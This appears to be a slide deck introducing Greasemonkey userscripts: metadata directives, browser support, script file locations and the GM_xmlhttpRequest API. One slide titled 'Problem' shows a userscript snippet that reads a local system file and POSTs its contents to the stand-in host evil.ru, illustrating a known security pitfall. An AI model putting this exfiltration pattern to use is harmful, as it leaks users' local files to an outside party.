My Awesome Presentation

# Greasemonkey UserScript

[GitHub](https://github.com/sharils/slides/tree/greasemonkey-userscript-1.0.0/greasemonkey-userscript)

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# Greasemonkey

UserScript manager

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# Browser Support

Supported in Chrome natively

Supported in Firefox as an Extension*

???

Supported in Firefox as an [Extension](https://addons.mozilla.org/en-Us/firefox/addon/greasemonkey/)

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# UserScript

<filename>.user.js

Metadata Block*

JavaScript

???

[Metadata Block](http://wiki.greasespot.net/Metadata_Block)

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# example.com.user.js

sharils/slides$ cat example.com.user.js               
	// ==UserScript==                                     
	// @name        Example                               
	// @namespace   http://example.com/                   
	// @description A simple example of UserScript        
	// @match       http://example.com/                   
	// @require     http://code.jquery.com/jquery-2.1.3.js
	// @version     1.0.0                                 
	// @grant       none                                  
	// @noframes                                          
	// ==/UserScript==

if (top === window) {                                 
		alert(typeof this.$)                              
	}

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# global object

if (this === window) {             
		alert("won't show in Firefox");
	}

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# @name x @namespace

Together as an identifier

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# @match vs @include

Use @match

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# @grant

Firefox complains if missing

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# @noframes

alert("show count of frames + 1 times in Chrome")

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# @require

Chrome doesn't support

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# Chrome Extension ID

[Chrome Extension ID](chrome-extensions.png)

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# Chrome File Path

~/                                         
	  .config/                                 
		google-chrome/                         
		  <profile-folder>/                    
			Extensions/                        
			  <id>/                            
				<@version>_<auto-increment>/   
				  script.js

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# Chrome File Path Example

~/                                         
	  .config/                                 
		google-chrome/                         
		  Profile 1/                           
			Extensions/                        
			  okfhfojoehlfgaomjbceecgpkhgcodid/
				1.0.0_0/                       
				  script.js

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# Change UserScript In Chrome

Applied after chrome is restarted

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# Firefox File Path

~/                             
	  .mozilla/                    
		firefox/                   
		  <profile-folder>/        
			gm_scripts/            
			  <@name>/             
				<filename>

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# Firefox File Path

~/                             
	  .mozilla/                    
		firefox/                   
		  liwedlz1.default/        
			gm_scripts/            
			  Example/             
				example.com.user.js

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# Change UserScript In Firefox

Applied immediately

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# GM_xmlhttpRequest

Allows requests to cross the same origin policy boundaries*

???

[GM_xmlhttprequest](http://wiki.greasespot.net/GM_xmlhttpRequest)

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# API

[Other API](http://wiki.greasespot.net/Greasemonkey_Manual:API)

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# Problem

_GM_xmlhttpRequest({                     
	  method: "GET",                         
	  url: "file:///c:/boot.ini",            
	  onload: function(oResponseDetails) {   
	    _GM_xmlhttpRequest({                 
		  method: "POST",                    
		  url: "http://evil.ru/",            
		  data: oResponseDetails.responseText
		});                                  
	  }	                                     
	});

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# XPCNativeWrappers

[Common Pitfalls](http://wiki.greasespot.net/Avoid_Common_Pitfalls_in_Greasemonkey)

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# The End